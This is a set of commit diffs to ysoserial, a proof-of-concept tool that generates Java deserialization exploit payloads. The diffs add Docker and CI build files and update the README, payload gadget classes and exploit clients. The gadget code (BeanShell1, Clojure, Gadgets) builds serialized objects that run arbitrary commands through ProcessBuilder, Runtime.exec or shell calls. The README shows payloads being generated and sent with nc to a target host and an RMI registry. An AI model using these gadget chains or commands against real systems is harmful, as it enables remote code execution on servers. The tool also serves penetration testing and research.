fix M2_HOME

doc updates

.travis.yml

@@ -1,5 +1,10 @@
 dist: trusty
 language: java
+
+cache:
+  directories:
+  - $HOME/.m2
+
 # Travis CI provides OpenJDK 6, OpenJDK 7, Oracle JDK 7, and Oracle JDK 8.
 # Sun JDK 6 is not provided, because it is EOL as of November 2012.
 # OpenJDK 8 is available on our Trusty images, specify dist: trusty to make use of it.
@@ -8,4 +13,8 @@ jdk:
   #- oraclejdk7 #https://github.com/travis-ci/travis-ci/issues/7884
   - openjdk8
   - openjdk7
-  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
+  #- openjdk6 #https://github.com/travis-ci/travis-ci/issues/8199
+
+matrix:
+  allow_failures:
+  - jdk: openjdk7

Dockerfile

@@ -0,0 +1,22 @@
+FROM maven:3.5-jdk-8 as builder
+
+WORKDIR /app
+
+# download artifacts
+COPY pom.xml .
+RUN mvn dependency:resolve
+RUN mvn verify
+RUN mvn compiler:help
+
+# build
+COPY src ./src
+RUN mvn clean package -DskipTests
+RUN mv target/ysoserial-*all*.jar target/ysoserial.jar
+
+FROM java:8-jdk-alpine
+
+WORKDIR /app
+
+COPY --from=builder /app/target/ysoserial.jar .
+
+ENTRYPOINT ["java", "-jar", "ysoserial.jar"]

README.md

@@ -6,6 +6,8 @@
     https://gitter.im/frohoff/ysoserial?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
 [![Download Latest Snapshot](https://img.shields.io/badge/download-master--SNAPSHOT-green.svg)](
     https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)
+[![Travis Build Status](https://api.travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
+[![Appveyor Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
 
@@ -39,9 +41,9 @@ are not responsible or liable for misuse of the software. Use responsibly.
 ## Usage
 
 ```shell
-$  java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar
+$  java -jar ysoserial.jar
 Y SO SERIAL?
-Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
+Usage: java -jar ysoserial.jar [payload] '[command]'
   Available payload types:
      Payload             Authors                     Dependencies
      -------             -------                     ------------
@@ -53,7 +55,7 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
      CommonsCollections2 @frohoff                    commons-collections4:4.0
      CommonsCollections3 @frohoff                    commons-collections:3.1
      CommonsCollections4 @frohoff                    commons-collections4:4.0
-     CommonsCollections5 @frohoff                    commons-collections:3.1
+     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
      CommonsCollections6 @matthias_kaiser            commons-collections:3.1
      FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
      Groovy1             @frohoff                    groovy:2.3.9
@@ -66,20 +68,20 @@ Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
      JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
      Jdk7u21             @frohoff
      Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
-     MozillaRhino1       @mbechler                   js:1.7R2
+     MozillaRhino1       @matthias_kaiser            js:1.7R2
      Myfaces1            @mbechler
      Myfaces2            @mbechler
      ROME                @mbechler                   rome:1.0
      Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
      Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
      URLDNS              @gebl
-     Wicket1             @jacob-baines               wicket-util:6.23
+     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4
 ```
 
 ## Examples
 
 ```shell
-$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
+$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
 0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
 0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
 0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
@@ -88,10 +90,10 @@ $ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
 0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
 0000570: 0078 7071 007e 003a                      .xpq.~.:
 
-$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
+$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
 $ nc 10.10.10.10 1099 < groovypayload.bin
 
-$ java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
+$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
 ```
 
 ## Installation
@@ -114,6 +116,7 @@ Requires Java 1.7+ and Maven 3.x+
 ## Code Status
 
 [![Build Status](https://travis-ci.org/frohoff/ysoserial.svg?branch=master)](https://travis-ci.org/frohoff/ysoserial)
+[![Build status](https://ci.appveyor.com/api/projects/status/a8tbk9blgr3yut4g/branch/master?svg=true)](https://ci.appveyor.com/project/frohoff/ysoserial/branch/master)
 
 ## Contributing
 
@@ -123,5 +126,7 @@ Requires Java 1.7+ and Maven 3.x+
 4. Push to the branch (`git push origin my-new-feature`)
 5. Create new Pull Request
 
-## Additional Reading
+## See Also
-* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
+* [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet): info on vulnerabilities, tools, blogs/write-ups, etc.
+* [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries
+* [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization

appveyor.yml

@@ -0,0 +1,53 @@
+# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
+#          and http://www.yegor256.com/2015/01/10/windows-appveyor-maven.html
+
+# build version
+version: '{build}'
+
+# Do not build on tags
+skip_tags: true
+
+# enviroment settings
+environment:
+  matrix:
+    - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
+    - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+    - JAVA_HOME: C:\Program Files\Java\jdk1.8.0
+    - JAVA_HOME: C:\Program Files\Java\jdk9
+
+matrix:
+  allow_failures:
+    - JAVA_HOME: C:\Program Files\Java\jdk1.6.0
+    - JAVA_HOME: C:\Program Files\Java\jdk1.7.0
+    - JAVA_HOME: C:\Program Files\Java\jdk9    
+
+# install jdk6 compatible maven
+install:
+  - ps: |
+      Add-Type -AssemblyName System.IO.Compression.FileSystem
+      if (!(Test-Path -Path "C:\maven" )) {
+        (new-object System.Net.WebClient).DownloadFile(
+          'http://www.us.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip',
+          'C:\maven-bin.zip'
+        )
+        [System.IO.Compression.ZipFile]::ExtractToDirectory("C:\maven-bin.zip", "C:\maven")
+      }
+  - cmd: SET PATH=C:\maven\apache-maven-3.2.5\bin;%JAVA_HOME%\bin;%PATH%
+  - cmd: SET M2_HOME=C:\maven\apache-maven-3.2.5\
+  - cmd: echo %PATH%
+  - cmd: echo %JAVA_HOME%
+  - cmd: echo %M2_HOME%
+  - cmd: mvn -v
+
+# build and install artifacts
+build_script:
+  - mvn clean install -DskipTests
+
+# verify artifacts
+test_script:
+  - mvn test
+
+# preserve dependencies between builds
+cache:
+  - C:\maven
+  - C:\Users\appveyor\.m2

pom.xml

@@ -4,7 +4,7 @@
 
 	<groupId>ysoserial</groupId>
 	<artifactId>ysoserial</artifactId>
-	<version>0.0.5</version>
+	<version>0.0.6-SNAPSHOT</version>
 	<packaging>jar</packaging>
 
 	<name>ysoserial</name>
@@ -19,11 +19,15 @@
 			<plugin>
 				<groupId>org.apache.maven.plugins</groupId>
 				<artifactId>maven-compiler-plugin</artifactId>
-				<version>3.2</version>
+				<version>3.5.1</version>
 				<configuration>
-					<source>1.5</source>
+					<!-- maximize compatibility -->
-					<target>1.5</target><!-- maximize compatibility -->
+					<source>1.6</source>
-				</configuration>
+					<target>1.6</target>
+					<!-- ignore noisy internal api warnings -->
+                    <compilerArgument>-XDignore.symbol.file</compilerArgument>
+                    <fork>true</fork>
+                </configuration>
 			</plugin>
 			<plugin>
 				<artifactId>maven-assembly-plugin</artifactId>
@@ -54,6 +58,7 @@
 		        <artifactId>maven-surefire-plugin</artifactId>
                 <version>2.20</version>
 		        <configuration>
+			        <trimStackTrace>false</trimStackTrace>
 			        <systemPropertyVariables>
 			        	<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
 			        </systemPropertyVariables>

src/main/java/ysoserial/exploit/JBoss.java

@@ -67,28 +67,28 @@ import ysoserial.payloads.ObjectPayload.Utils;
 
 
 /**
- * 
+ *
  * An exploitation client for JBoss AS/Wildfly JMX
- * 
+ *
  * JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
- * 
+ *
  * This is not as readily exploitable as in other pieces of software:
  * 1. they only allow authenticated access by default
  * 2. they have a very strict module architecture:
  * - all MBeans exported by default use classloaders that expose almost nothing useful
  * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
  * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
- * 
+ *
- * This client enumerates all application exported MBean method which are then called 
+ * This client enumerates all application exported MBean method which are then called
  * delivering the specified payload.
- * 
+ *
  * I.e. you can succesfully exploit that
- * - you have access to the interface 
+ * - you have access to the interface
- *    (username/password can be specified via URL, note: despite not noticeable, 
+ *    (username/password can be specified via URL, note: despite not noticeable,
- *    local connections implicitely use authentication) 
+ *    local connections implicitely use authentication)
  * - there is an application exported MBean
  * - that application imports the classes required for the gadget chain
- * 
+ *
  * @author mbechler
  *
  */
@@ -98,7 +98,7 @@ import ysoserial.payloads.ObjectPayload.Utils;
 public class JBoss {
 
     public static void main ( String[] args ) {
-        
+
         if ( args.length < 3 ) {
             System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
             System.exit(-1);
@@ -107,7 +107,7 @@ public class JBoss {
         URI u = URI.create(args[ 0 ]);
 
         final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
-        
+
         String username = null;
         String password = null;
         if ( u.getUserInfo() != null ) {
@@ -315,7 +315,7 @@ public class JBoss {
         }
     }
 
- 
+
     private static final class ConsoleLogHandler extends Handler {
 
 
@@ -335,6 +335,7 @@ public class JBoss {
         public void close () throws SecurityException {}
     }
 
+    @SuppressWarnings({"deprecation"})
     private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
 
         private ConnectionProviderContextImpl context;

src/main/java/ysoserial/exploit/JRMPListener.java

@@ -35,10 +35,10 @@ import ysoserial.payloads.util.Reflections;
 
 /**
  * Generic JRMP listener
- * 
+ *
  * Opens up an JRMP listener that will deliver the specified payload to any
  * client connecting to it and making a call.
- * 
+ *
  * @author mbechler
  *
  */
@@ -61,7 +61,7 @@ public class JRMPListener implements Runnable {
         this.payloadObject = payloadObject;
         this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
     }
-    
+
     public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
         this.port = port;
         this.payloadObject = makeDummyObject(className);
@@ -88,7 +88,7 @@ public class JRMPListener implements Runnable {
 
 
     /**
-     * 
+     *
      */
     public void close () {
         this.exit = true;
@@ -265,13 +265,13 @@ public class JRMPListener implements Runnable {
             throw new MarshalException("unable to read objID", e);
         }
 
-        
+
         if ( read.hashCode() == 2 ) {
             ois.readInt(); // method
             ois.readLong(); // hash
             System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
         }
-        
+
         System.err.println("Sending return with payload for obj " + read);
 
         out.writeByte(TransportConstants.Return);// transport op
@@ -293,6 +293,7 @@ public class JRMPListener implements Runnable {
         }
     }
 
+    @SuppressWarnings({"deprecation"})
     protected static Object makeDummyObject (String className) {
         try {
             ClassLoader isolation = new ClassLoader() {};
@@ -307,10 +308,10 @@ public class JRMPListener implements Runnable {
             return new byte[0];
         }
     }
-    
+
-    
+
     public static class Dummy implements Serializable {
         private static final long serialVersionUID = 1L;
-        
+
     }
 }

src/main/java/ysoserial/exploit/RMIRegistryExploit.java

@@ -35,7 +35,7 @@ public class RMIRegistryExploit {
 	public static void exploit(final Registry registry,
 			final Class<? extends ObjectPayload> payloadClass,
 			final String command) throws Exception {
-		new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
+		new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
 			ObjectPayload payloadObj = payloadClass.newInstance();
             Object payload = payloadObj.getObject(command);
 			String name = "pwned" + System.nanoTime();

src/main/java/ysoserial/payloads/BeanShell1.java

@@ -5,9 +5,11 @@ import bsh.XThis;
 
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Proxy;
+import java.util.Arrays;
 import java.util.Comparator;
 import java.util.PriorityQueue;
 
+import ysoserial.Strings;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.util.Reflections;
 import ysoserial.payloads.annotation.Dependencies;
@@ -24,7 +26,13 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
 
     public PriorityQueue getObject(String command) throws Exception {
 	// BeanShell payload
-	String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
+
+        String payload =
+            "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
+                Strings.join( // does not support spaces in quotes
+                    Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
+                    ",", "\"", "\"") +
+                "}).start();return new Integer(1);}";
 
 	// Create Interpreter
 	Interpreter i = new Interpreter();

src/main/java/ysoserial/payloads/Clojure.java

@@ -2,10 +2,12 @@ package ysoserial.payloads;
 
 import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
 import clojure.lang.PersistentArrayMap;
+import ysoserial.Strings;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.util.PayloadRunner;
 
+import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
 
@@ -28,18 +30,26 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
 
 	public Map<?, ?> getObject(final String command) throws Exception {
 
-		final String[] execArgs = command.split(" ");
+//		final String[] execArgs = command.split(" ");
-		final StringBuilder commandArgs = new StringBuilder();
+//		final StringBuilder commandArgs = new StringBuilder();
-		for (String arg : execArgs) {
+//		for (String arg : execArgs) {
-			commandArgs.append("\" \"");
+//			commandArgs.append("\" \"");
-			commandArgs.append(arg);
+//			commandArgs.append(arg);
-		}
+//		}
-		commandArgs.append("\"");
+//		commandArgs.append("\"");
 
-		final String clojurePayload =
-				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
 
-		Map<String, Object> fnMap = new HashMap<String, Object>();
+//		final String clojurePayload =
+//				String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
+
+        String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
+
+        final String clojurePayload =
+            String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
+
+
+
+        Map<String, Object> fnMap = new HashMap<String, Object>();
 		fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
 
 		AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();

src/main/java/ysoserial/payloads/CommonsCollections5.java

@@ -18,6 +18,7 @@ import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -43,10 +44,16 @@ import ysoserial.payloads.util.Reflections;
 	Requires:
 		commons-collections
  */
-@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
+/*
+This only works in JDK 8u76 and WITHOUT a security manager
+
+https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
+ */
+//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest ( precondition = "isApplicableJavaVersion")
 @Dependencies({"commons-collections:commons-collections:3.1"})
-@Authors({ Authors.FROHOFF })
+@Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
 public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
 
 	public BadAttributeValueExpException getObject(final String command) throws Exception {
@@ -86,4 +93,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
 	public static void main(final String[] args) throws Exception {
 		PayloadRunner.run(CommonsCollections5.class, args);
 	}
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
 }

src/main/java/ysoserial/payloads/MozillaRhino1.java

@@ -4,7 +4,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import org.mozilla.javascript.*;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.JavaVersion;
 import ysoserial.payloads.util.PayloadRunner;
 
 import javax.management.BadAttributeValueExpException;
@@ -16,8 +18,9 @@ import java.lang.reflect.Method;
     by @matthias_kaiser
 */
 @SuppressWarnings({"rawtypes", "unchecked"})
+@PayloadTest( precondition = "isApplicableJavaVersion")
 @Dependencies({"rhino:js:1.7R2"})
-@Authors({ Authors.MBECHLER })
+@Authors({ Authors.MATTHIASKAISER })
 public class MozillaRhino1 implements ObjectPayload<Object> {
 
     public Object getObject(final String command) throws Exception {
@@ -65,4 +68,9 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
     public static void main(final String[] args) throws Exception {
         PayloadRunner.run(MozillaRhino1.class, args);
     }
+
+    public static boolean isApplicableJavaVersion() {
+        return JavaVersion.isBadAttrValExcReadObj();
+    }
+
 }

src/main/java/ysoserial/payloads/URLDNS.java

@@ -9,6 +9,7 @@ import java.net.URL;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
  *
  */
 @SuppressWarnings({ "rawtypes", "unchecked" })
+@PayloadTest(skip = "true")
 @Dependencies()
 @Authors({ Authors.GEBL })
 public class URLDNS implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Wicket1.java

@@ -13,6 +13,7 @@ import org.apache.wicket.util.io.ThresholdingOutputStream;
 
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -45,7 +46,8 @@ import ysoserial.payloads.util.Reflections;
  * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
  * blue lobster
  */
-@Dependencies({"wicket-util:wicket-util:6.23"})
+@PayloadTest(harness = "ysoserial.payloads.FileUploadTest")
+@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({ Authors.JACOBAINES })
 public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
 

src/main/java/ysoserial/payloads/annotation/Authors.java

@@ -17,6 +17,7 @@ public @interface Authors {
     String MATTHIASKAISER = "matthias_kaiser";
     String GEBL = "gebl" ;
     String JACOBAINES = "jacob-baines";
+    String JASINNER = "jasinner";
 
     String[] value() default {};
 

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -36,7 +36,7 @@ public class Gadgets {
     static {
         // special case for using TemplatesImpl gadgets with a SecurityManager enabled
         System.setProperty(DESERIALIZE_TRANSLET, "true");
-        
+
         // for RMI remote loading
         System.setProperty("java.rmi.server.useCodebaseOnly", "false");
     }
@@ -113,7 +113,10 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
+        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
+            command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
+            "\");";
+        clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
         CtClass superC = pool.get(abstTranslet.getName());

src/main/java/ysoserial/payloads/util/JavaVersion.java

@@ -7,13 +7,13 @@ package ysoserial.payloads.util;
  */
 public class JavaVersion {
 
-    
+
     public int major;
     public int minor;
     public int update;
-    
+
-  
+
-    
+
     public static JavaVersion getLocalVersion() {
         String property = System.getProperties().getProperty("java.version");
         if ( property == null ) {
@@ -26,11 +26,16 @@ public class JavaVersion {
         v.update  = Integer.parseInt(parts[3]);
         return v;
     }
-    
+
-    
+
     public static boolean isAnnInvHUniversalMethodImpl() {
         JavaVersion v = JavaVersion.getLocalVersion();
         return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
     }
+
+    public static boolean isBadAttrValExcReadObj() {
+        JavaVersion v = JavaVersion.getLocalVersion();
+        return v != null && (v.major > 8 && v.update >= 76);
+    }
 }
 

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -1,6 +1,5 @@
 package ysoserial.payloads.util;
 
-import java.io.File;
 import java.util.concurrent.Callable;
 
 import ysoserial.Deserializer;
@@ -19,7 +18,7 @@ public class PayloadRunner {
 
     public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
 		// ensure payload generation doesn't throw an exception
-		byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
+		byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
 			public byte[] call() throws Exception {
 				final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
 
@@ -53,11 +52,12 @@ public class PayloadRunner {
     }
 
     private static String getFirstExistingFile(String ... files) {
-        for (String path : files) {
+        return "calc.exe";
-            if (new File(path).exists()) {
+//        for (String path : files) {
-                return path;
+//            if (new File(path).exists()) {
-            }
+//                return path;
-        }
+//            }
-        throw new UnsupportedOperationException("no known test executable");
+//        }
+//        throw new UnsupportedOperationException("no known test executable");
     }
 }

src/main/java/ysoserial/secmgr/DelegateSecurityManager.java

@@ -4,6 +4,7 @@ import java.io.FileDescriptor;
 import java.net.InetAddress;
 import java.security.Permission;
 
+@SuppressWarnings({"deprecation"})
 public class DelegateSecurityManager extends SecurityManager {
 	private SecurityManager securityManager;
 
@@ -15,7 +16,8 @@ public class DelegateSecurityManager extends SecurityManager {
 		this.securityManager = securityManager;
 	}
 
-	@Override
+    @SuppressWarnings({"deprecation"})
+    @Override
 	public boolean getInCheck() {
 		return getSecurityManager().getInCheck();
 	}
@@ -47,133 +49,115 @@ public class DelegateSecurityManager extends SecurityManager {
 
 	@Override
 	public void checkAccess(ThreadGroup g) {
-
 		getSecurityManager().checkAccess(g);
 	}
 
 	@Override
 	public void checkExit(int status) {
-
 		getSecurityManager().checkExit(status);
 	}
 
 	@Override
 	public void checkExec(String cmd) {
-
 		getSecurityManager().checkExec(cmd);
 	}
 
 	@Override
 	public void checkLink(String lib) {
-
 		getSecurityManager().checkLink(lib);
 	}
 
 	@Override
 	public void checkRead(FileDescriptor fd) {
-
 		getSecurityManager().checkRead(fd);
 	}
 
 	@Override
 	public void checkRead(String file) {
-
 		getSecurityManager().checkRead(file);
 	}
 
 	@Override
 	public void checkRead(String file, Object context) {
-
 		getSecurityManager().checkRead(file, context);
 	}
 
 	@Override
 	public void checkWrite(FileDescriptor fd) {
-
 		getSecurityManager().checkWrite(fd);
 	}
 
 	@Override
 	public void checkWrite(String file) {
-
 		getSecurityManager().checkWrite(file);
 	}
 
 	@Override
 	public void checkDelete(String file) {
-
 		getSecurityManager().checkDelete(file);
 	}
 
 	@Override
 	public void checkConnect(String host, int port) {
-
 		getSecurityManager().checkConnect(host, port);
 	}
 
 	@Override
 	public void checkConnect(String host, int port, Object context) {
-
 		getSecurityManager().checkConnect(host, port, context);
 	}
 
 	@Override
 	public void checkListen(int port) {
-
 		getSecurityManager().checkListen(port);
 	}
 
 	@Override
 	public void checkAccept(String host, int port) {
-
 		getSecurityManager().checkAccept(host, port);
 	}
 
 	@Override
 	public void checkMulticast(InetAddress maddr) {
-
 		getSecurityManager().checkMulticast(maddr);
 	}
 
-	@Override
+    @SuppressWarnings({"deprecation"})
+    @Override
 	public void checkMulticast(InetAddress maddr, byte ttl) {
-
 		getSecurityManager().checkMulticast(maddr, ttl);
 	}
 
 	@Override
 	public void checkPropertiesAccess() {
-
 		getSecurityManager().checkPropertiesAccess();
 	}
 
 	@Override
 	public void checkPropertyAccess(String key) {
-
 		getSecurityManager().checkPropertyAccess(key);
 	}
 
-	@Override
+    @SuppressWarnings({"deprecation"})
+    @Override
 	public boolean checkTopLevelWindow(Object window) {
-
 		return getSecurityManager().checkTopLevelWindow(window);
 	}
 
 	@Override
 	public void checkPrintJobAccess() {
-
 		getSecurityManager().checkPrintJobAccess();
 	}
 
-	@Override
+    @SuppressWarnings({"deprecation"})
+    @Override
 	public void checkSystemClipboardAccess() {
-
 		getSecurityManager().checkSystemClipboardAccess();
 	}
 
-	@Override
+    @SuppressWarnings({"deprecation"})
+    @Override
 	public void checkAwtEventQueueAccess() {
-
 		getSecurityManager().checkAwtEventQueueAccess();
 	}
 
@@ -185,31 +169,27 @@ public class DelegateSecurityManager extends SecurityManager {
 
 	@Override
 	public void checkPackageDefinition(String pkg) {
-
 		getSecurityManager().checkPackageDefinition(pkg);
 	}
 
 	@Override
 	public void checkSetFactory() {
-
 		getSecurityManager().checkSetFactory();
 	}
 
+	@SuppressWarnings({"deprecation"})
 	@Override
 	public void checkMemberAccess(Class<?> clazz, int which) {
-
 		getSecurityManager().checkMemberAccess(clazz, which);
 	}
 
 	@Override
 	public void checkSecurityAccess(String target) {
-
 		getSecurityManager().checkSecurityAccess(target);
 	}
 
 	@Override
 	public ThreadGroup getThreadGroup() {
-
 		return getSecurityManager().getThreadGroup();
 	}
-}
+}

src/main/java/ysoserial/secmgr/ExecCheckingSecurityManager.java

@@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		}
 	}
 
-	public void wrap(final Runnable runnable) throws Exception {
+	public void callWrapped(final Runnable runnable) throws Exception {
-		wrap(new Callable<Void>(){
+		callWrapped(new Callable<Void>(){
 			public Void call() throws Exception {
 				runnable.run();
 				return null;
@@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 		});
 	}
 
-	public <T> T wrap(final Callable<T> callable) throws Exception {
+	public <T> T callWrapped(final Callable<T> callable) throws Exception {
 		SecurityManager sm = System.getSecurityManager(); // save sm
 		System.setSecurityManager(this);
 		try {
@@ -84,4 +84,4 @@ public class ExecCheckingSecurityManager extends SecurityManager {
 			System.setSecurityManager(sm); // restore sm
 		}
 	}
-}
+}

src/main/java/ysoserial/secmgr/ThreadLocalSecurityManager.java

@@ -1,33 +0,0 @@
-package ysoserial.secmgr;
-
-import java.util.concurrent.Callable;
-
-public class ThreadLocalSecurityManager extends DelegateSecurityManager {
-
-	private final ThreadLocal<SecurityManager> threadDelegates
-		= new ThreadLocal<SecurityManager>();
-
-	public void install() {
-		System.setSecurityManager(this);
-	}
-
-	@Override
-	public void setSecurityManager(SecurityManager threadManager) {
-		threadDelegates.set(threadManager);
-	}
-
-	@Override
-	public SecurityManager getSecurityManager() {
-		return threadDelegates.get();
-	}
-
-	public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
-		SecurityManager old = getSecurityManager();
-		setSecurityManager(sm);
-		try {
-			return callable.call();
-		} finally {
-			setSecurityManager(old);
-		}
-	}
-}

src/test/java/ysoserial/payloads/CommandExecTest.java

@@ -0,0 +1,40 @@
+package ysoserial.payloads;
+
+import org.junit.Assert;
+import ysoserial.CustomTest;
+import ysoserial.util.Files;
+import ysoserial.util.OS;
+
+import java.io.File;
+import java.util.UUID;
+import java.util.concurrent.Callable;
+
+public class CommandExecTest implements CustomTest {
+    private final File testFile =
+        new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        Exception err;
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test file should exist", testFile.exists());
